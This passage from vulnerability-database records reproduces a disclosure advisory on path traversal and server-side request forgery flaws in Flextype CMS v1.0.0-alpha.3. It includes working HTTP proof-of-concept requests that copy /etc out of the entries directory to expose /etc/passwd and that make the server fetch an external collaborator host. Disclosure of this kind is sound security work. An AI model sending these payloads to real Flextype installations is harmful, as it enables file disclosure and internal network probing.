-\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n }\n\n return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/22"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/22"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0180",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
"automated": true,
"contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:22:38Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0180"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0180"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0010
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the
Entries copy functionality. An authenticated remote attacker can supply
directory traversal sequences within both the source id and destination
new_id parameters submitted to /api/v1/entries/copy.
Flextype constructs entry directory paths by directly concatenating the
supplied entry identifier with the configured entries directory without
sufficiently canonicalizing the resulting path or verifying that it remains
within the intended project/entries directory.
As a result, an attacker can escape the configured entries directory for
both the source and destination of a copy operation. Testing confirmed that
a source identifier containing ../../../etc resolved to the system /etc
directory and that a destination identifier containing ../../etc-copy
caused the directory to be copied outside project/entries to /app/etc-copy.
The copied /etc/passwd file was subsequently accessible over HTTP from
/etc-copy/passwd, resulting in disclosure of operating-system files that
were not intended to be exposed by the web application.
Impact
Successful exploitation allows an authenticated remote attacker to escape
the Flextype entries directory and use filesystem directories outside the
intended content storage location as the source or destination of entry
copy operations.
Testing demonstrated that the vulnerability can copy operating-system files
from /etc into a web-accessible location under the application root. This
resulted in remote disclosure of /etc/passwd.
Depending on filesystem permissions, application deployment layout, and
web-server configuration, the vulnerability may allow disclosure of
sensitive application and operating-system files by copying otherwise
inaccessible directories into web-accessible locations.
The destination traversal also provides a filesystem write/copy primitive
outside the intended project/entries security boundary. This primitive may
increase the impact of other vulnerabilities when chained with
functionality capable of interpreting or executing attacker-controlled
files.
DetailsVulnerable Entry Copy Implementation
The Flextype copy() method receives the existing entry identifier and new
entry identifier and eventually passes both values to getDirectoryLocation()
:
public function copy(string $id, string $newID): bool
{
// Collections validation helper.
// Check if collections are identical.
$isValidCollections = function ($id, $newID) {
$collectionForCurrentEntry = $this->getCollectionOptions($id);
$collectionForNewEntry = $this->getCollectionOptions($newID);
$result = true;
if (! isset($collectionForCurrentEntry['filename']) ||
! isset($collectionForCurrentEntry['extension']) ||
! isset($collectionForCurrentEntry['serializer']) ||
! isset($collectionForNewEntry['filename']) ||
! isset($collectionForNewEntry['extension']) ||
! isset($collectionForNewEntry['serializer'])) {
$result = false;
}
if (($collectionForCurrentEntry['filename'] !=
$collectionForNewEntry['filename']) ||
($collectionForCurrentEntry['extension'] !=
$collectionForNewEntry['extension']) ||
($collectionForCurrentEntry['serializer'] !=
$collectionForNewEntry['serializer'])) {
$result = false;
}
return $result;
};
if (! $isValidCollections($id, $newID)) {
return false;
}
$this->registry()->set('methods.copy', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
'newID' => $newID,
],
'result' => null,
]);
emitter()->emit('onEntriesCopy');
if (! is_null($this->registry()->get('methods.copy.result')) &&
is_bool($this->registry()->get('methods.copy.result'))) {
return $this->registry()->get('methods.copy.result');
}
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
}
The getDirectoryLocation() method constructs the filesystem path using the
supplied identifier:
public function getDirectoryLocation(string $id): string
{
$this->registry()->set('methods.getDirectoryLocation', [
'collection' => $this->getCollectionOptions($id),
'params' => [
'id' => $id,
],
'result' => null,
]);
emitter()->emit('onEntriesGetDirectoryLocation');
if (! is_null($this->registry()->get('methods.getDirectoryLocation.result'))
&&
is_string($this->registry()->get('methods.getDirectoryLocation.result')))
{
return $this->registry()->get('methods.getDirectoryLocation.result');
}
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
}
The supplied identifier is appended directly to:
FLEXTYPE_PATH_PROJECT/<entries-directory>/
without enforcing that the canonicalized resulting path remains beneath the
intended entries directory.
Consequently, traversal sequences within an entry identifier can escape the
expected directory.
Proof of Concept — Escape Source and Destination Directories
The following request supplies traversal sequences for both the source and
destination identifiers:
PUT /api/v1/entries/copy HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../../etc","new_id":"../../etc-copy"}
Given an entries directory rooted at:
/app/project/entries
the source:
../../../etc
escapes the entries directory and resolves to:
/etc
The destination:
../../etc-copy
similarly escapes the entries directory and resolves to:
/app/etc-copy
The HTTP endpoint returned:
HTTP/1.1 404 Not Found
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 0
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
Despite the HTTP 404 response, filesystem inspection confirmed that the
copy operation occurred.
Proof of Concept — Filesystem Evidence
Following the request, /etc/passwd existed beneath the attacker-selected
escaped destination:
realpath: /app/etc-copy/passwd
---
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
The resulting path:
/app/etc-copy/passwd
is outside the intended:
/app/project/entries
directory.
This demonstrates that the traversal sequences affected the underlying
filesystem operation despite the API returning HTTP 404.
Proof of Concept — Remote File Disclosure
The copied file could subsequently be retrieved directly through the web
server:
GET /etc-copy/passwd HTTP/1.1
Host: 127.0.0.1:18080
The application returned the copied operating-system file:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 02:17:02 GMT
Connection: close
Content-Length: 839
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
--snip--
Root Cause
The root cause is insufficient validation and canonicalization of entry
identifiers before they are incorporated into filesystem paths.
The vulnerable path construction is:
return FLEXTYPE_PATH_PROJECT . '/' .
$this->options['directory'] . '/' .
$this->registry()->get('methods.getDirectoryLocation.params.id');
The resulting path is then used directly by the copy operation:
return filesystem()
->directory($this->getDirectoryLocation($this->registry()->get('methods.copy.params.id')))
->copy($this->getDirectoryLocation($this->registry()->get('methods.copy.params.newID')));
Neither the source nor destination is shown being canonicalized and checked
to ensure it remains beneath the configured entries directory before the
filesystem copy operation occurs.
This allows ../ path components supplied through the entry identifiers to
escape the intended filesystem boundary.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a path traversal vulnerability in the\nEntries copy functionality. An authenticated remote attacker can supply\ndirectory traversal sequences within both the source id and destination\nnew_id parameters submitted to /api/v1/entries/copy.\n\nFlextype constructs entry directory paths by directly concatenating the\nsupplied entry identifier with the configured entries directory without\nsufficiently canonicalizing the resulting path or verifying that it remains\nwithin the intended project/entries directory.\n\nAs a result, an attacker can escape the configured entries directory for\nboth the source and destination of a copy operation. Testing confirmed that\na source identifier containing ../../../etc resolved to the system /etc\ndirectory and that a destination identifier containing ../../etc-copy\ncaused the directory to be copied outside project/entries to /app/etc-copy.\n\nThe copied /etc/passwd file was subsequently accessible over HTTP from\n/etc-copy/passwd, resulting in disclosure of operating-system files that\nwere not intended to be exposed by the web application.\nImpact\n\nSuccessful exploitation allows an authenticated remote attacker to escape\nthe Flextype entries directory and use filesystem directories outside the\nintended content storage location as the source or destination of entry\ncopy operations.\n\nTesting demonstrated that the vulnerability can copy operating-system files\nfrom /etc into a web-accessible location under the application root. This\nresulted in remote disclosure of /etc/passwd.\n\nDepending on filesystem permissions, application deployment layout, and\nweb-server configuration, the vulnerability may allow disclosure of\nsensitive application and operating-system files by copying otherwise\ninaccessible directories into web-accessible locations.\n\nThe destination traversal also provides a filesystem write/copy primitive\noutside the intended project/entries security boundary. This primitive may\nincrease the impact of other vulnerabilities when chained with\nfunctionality capable of interpreting or executing attacker-controlled\nfiles.\nDetailsVulnerable Entry Copy Implementation\n\nThe Flextype copy() method receives the existing entry identifier and new\nentry identifier and eventually passes both values to getDirectoryLocation()\n:\n\npublic function copy(string $id, string $newID): bool\n{\n // Collections validation helper.\n // Check if collections are identical.\n $isValidCollections = function ($id, $newID) {\n $collectionForCurrentEntry = $this-\u003egetCollectionOptions($id);\n $collectionForNewEntry = $this-\u003egetCollectionOptions($newID);\n\n $result = true;\n\n if (! isset($collectionForCurrentEntry[\u0027filename\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027extension\u0027]) ||\n ! isset($collectionForCurrentEntry[\u0027serializer\u0027]) ||\n ! isset($collectionForNewEntry[\u0027filename\u0027]) ||\n ! isset($collectionForNewEntry[\u0027extension\u0027]) ||\n ! isset($collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n if (($collectionForCurrentEntry[\u0027filename\u0027] !=\n$collectionForNewEntry[\u0027filename\u0027]) ||\n ($collectionForCurrentEntry[\u0027extension\u0027] !=\n$collectionForNewEntry[\u0027extension\u0027]) ||\n ($collectionForCurrentEntry[\u0027serializer\u0027] !=\n$collectionForNewEntry[\u0027serializer\u0027])) {\n $result = false;\n }\n\n return $result;\n };\n\n if (! $isValidCollections($id, $newID)) {\n return false;\n }\n\n $this-\u003eregistry()-\u003eset(\u0027methods.copy\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n \u0027newID\u0027 =\u003e $newID,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesCopy\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027)) \u0026\u0026\n is_bool($this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027))) {\n return $this-\u003eregistry()-\u003eget(\u0027methods.copy.result\u0027);\n }\n\n return filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n}\n\nThe getDirectoryLocation() method constructs the filesystem path using the\nsupplied identifier:\n\npublic function getDirectoryLocation(string $id): string\n{\n $this-\u003eregistry()-\u003eset(\u0027methods.getDirectoryLocation\u0027, [\n \u0027collection\u0027 =\u003e $this-\u003egetCollectionOptions($id),\n \u0027params\u0027 =\u003e [\n \u0027id\u0027 =\u003e $id,\n ],\n \u0027result\u0027 =\u003e null,\n ]);\n\n emitter()-\u003eemit(\u0027onEntriesGetDirectoryLocation\u0027);\n\n if (! is_null($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027))\n\u0026\u0026\n is_string($this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027)))\n{\n return $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.result\u0027);\n }\n\n return FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n}\n\nThe supplied identifier is appended directly to:\n\nFLEXTYPE_PATH_PROJECT/\u003centries-directory\u003e/\n\nwithout enforcing that the canonicalized resulting path remains beneath the\nintended entries directory.\n\nConsequently, traversal sequences within an entry identifier can escape the\nexpected directory.\nProof of Concept \u2014 Escape Source and Destination Directories\n\nThe following request supplies traversal sequences for both the source and\ndestination identifiers:\n\nPUT /api/v1/entries/copy HTTP/1.1\nHost: 127.0.0.1:18080\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../../etc\",\"new_id\":\"../../etc-copy\"}\n\nGiven an entries directory rooted at:\n\n/app/project/entries\n\nthe source:\n\n../../../etc\n\nescapes the entries directory and resolves to:\n\n/etc\n\nThe destination:\n\n../../etc-copy\n\nsimilarly escapes the entries directory and resolves to:\n\n/app/etc-copy\n\nThe HTTP endpoint returned:\n\nHTTP/1.1 404 Not Found\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nX-Powered-By: PHP/8.1.34\nSet-Cookie: Flextype=c6044093f63329175869143209974d1c; path=/\nExpires: Thu, 19 Nov 1981 08:52:00 GMT\nCache-Control: no-store, no-cache, must-revalidate\nPragma: no-cache\nContent-Type: application/json;charset=UTF-8\nContent-Length: 0\nAccess-Control-Allow-Origin: *\nAccess-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,\nOrigin, Authorization\nAccess-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS\nAccess-Control-Allow-Expose:\nAccess-Control-Allow-Credentials: false\n\nDespite the HTTP 404 response, filesystem inspection confirmed that the\ncopy operation occurred.\nProof of Concept \u2014 Filesystem Evidence\n\nFollowing the request, /etc/passwd existed beneath the attacker-selected\nescaped destination:\n\nrealpath: /app/etc-copy/passwd\n---\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nThe resulting path:\n\n/app/etc-copy/passwd\n\nis outside the intended:\n\n/app/project/entries\n\ndirectory.\n\nThis demonstrates that the traversal sequences affected the underlying\nfilesystem operation despite the API returning HTTP 404.\nProof of Concept \u2014 Remote File Disclosure\n\nThe copied file could subsequently be retrieved directly through the web\nserver:\n\nGET /etc-copy/passwd HTTP/1.1\nHost: 127.0.0.1:18080\n\nThe application returned the copied operating-system file:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18080\nDate: Mon, 31 Aug 2026 02:17:02 GMT\nConnection: close\nContent-Length: 839\n\nroot:x:0:0:root:/root:/bin/bash\ndaemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin\nbin:x:2:2:bin:/bin:/usr/sbin/nologin\n--snip--\n\nRoot Cause\n\nThe root cause is insufficient validation and canonicalization of entry\nidentifiers before they are incorporated into filesystem paths.\n\nThe vulnerable path construction is:\n\nreturn FLEXTYPE_PATH_PROJECT . \u0027/\u0027 .\n $this-\u003eoptions[\u0027directory\u0027] . \u0027/\u0027 .\n $this-\u003eregistry()-\u003eget(\u0027methods.getDirectoryLocation.params.id\u0027);\n\nThe resulting path is then used directly by the copy operation:\n\nreturn filesystem()\n -\u003edirectory($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.id\u0027)))\n -\u003ecopy($this-\u003egetDirectoryLocation($this-\u003eregistry()-\u003eget(\u0027methods.copy.params.newID\u0027)));\n\nNeither the source nor destination is shown being canonicalized and checked\nto ensure it remains beneath the configured entries directory before the\nfilesystem copy operation occurs.\n\nThis allows ../ path components supplied through the entry identifiers to\nescape the intended filesystem boundary.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:56Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/22"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/22"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Path Traversal in Entry Copy Allows Arbitrary Directory Copy and File Disclosure",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0010",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/22",
"automated": true,
"contentSha256": "b7897cdb97161a7ae262926a8436290ea19695546887205b5685e402c54945c4",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/22",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:22:38Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:56Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0010"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0179
Vulnerability from gna-1988 – Published: 2026-09-08 07:25 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a server-side request forgery (SSRF)
vulnerability in the expression-processing functionality exposed through
the /api/v1/query endpoint. An authenticated remote attacker can supply an
arbitrary URL to the exposed fetch() function, causing the Flextype server
to initiate an outbound HTTP request to an attacker-controlled destination.
The application does not sufficiently restrict the destination supplied to
fetch(). Testing confirmed that an attacker-controlled expression submitted
through the Query API caused the Flextype server to connect to an external
Burp Collaborator endpoint.
The HTTP response received by the Flextype server, including its status
code, response headers, and response body, was subsequently returned to the
attacker through the API response. The vulnerability therefore provides a
non-blind SSRF primitive and allows an attacker to interact with network
resources from the security context and network position of the Flextype
server.
Impact
Successful exploitation allows an authenticated remote attacker to cause
the Flextype server to initiate arbitrary server-side HTTP requests.
Because the response to the server-side request is returned through the
Query API, an attacker may potentially use the vulnerability to enumerate
and interact with HTTP services accessible from the Flextype host,
including services that are not directly accessible from the attacker's
network location.
Depending on the deployment environment and network configuration,
potential targets may include internal web applications, administrative
interfaces, loopback services, private network resources, and other
HTTP-accessible infrastructure reachable by the Flextype server.
The demonstrated vulnerability is non-blind because response data from the
requested destination is returned to the attacker.
DetailsServer-Side Request Forgery via fetch()
The /api/v1/query endpoint accepts expressions that are evaluated by the
Flextype expression-processing environment. The environment exposes a
fetch() function capable of initiating HTTP requests.
An authenticated attacker can provide an attacker-controlled URL to this
function.
The following request instructs the Flextype server to request an external
Burp Collaborator endpoint:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18080
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"ssrf":"fetch('http://042--snip--.oastify.com')"}}
The server responds with the result of the outbound request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18080
Date: Mon, 31 Aug 2026 01:49:16 GMT
Connection: close
X-Powered-By: PHP/8.1.34
Set-Cookie: Flextype=438637f69a696e857bd9c8446fe7c8d3; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Content-Type: application/json;charset=UTF-8
Content-Length: 269
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-Requested-With, Content-Type, Accept,
Origin, Authorization
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
Access-Control-Allow-Expose:
Access-Control-Allow-Credentials: false
{"ssrf":{"reasonPhrase":"OK","statusCode":200,"headers":{"Server":["Burp
Collaborator
https://burpcollaborator.net/"],"X-Collaborator-Version":["4"],"Content-Type":["text/html"],"Content-Length":["55"]},"body":";<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"}}
The returned data identifies the destination as a Burp Collaborator server:
Server: Burp Collaborator https://burpcollaborator.net/
X-Collaborator-Version: 4
Additionally, the destination's response body is returned through Flextype:
<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>
This demonstrates that the request originates from the Flextype server and
that response data is made available to the authenticated attacker.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
10 references
Relationships
analysis
GCVE-1988-2026-0179 (this record)
- possibly related CVE-2026-77939
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
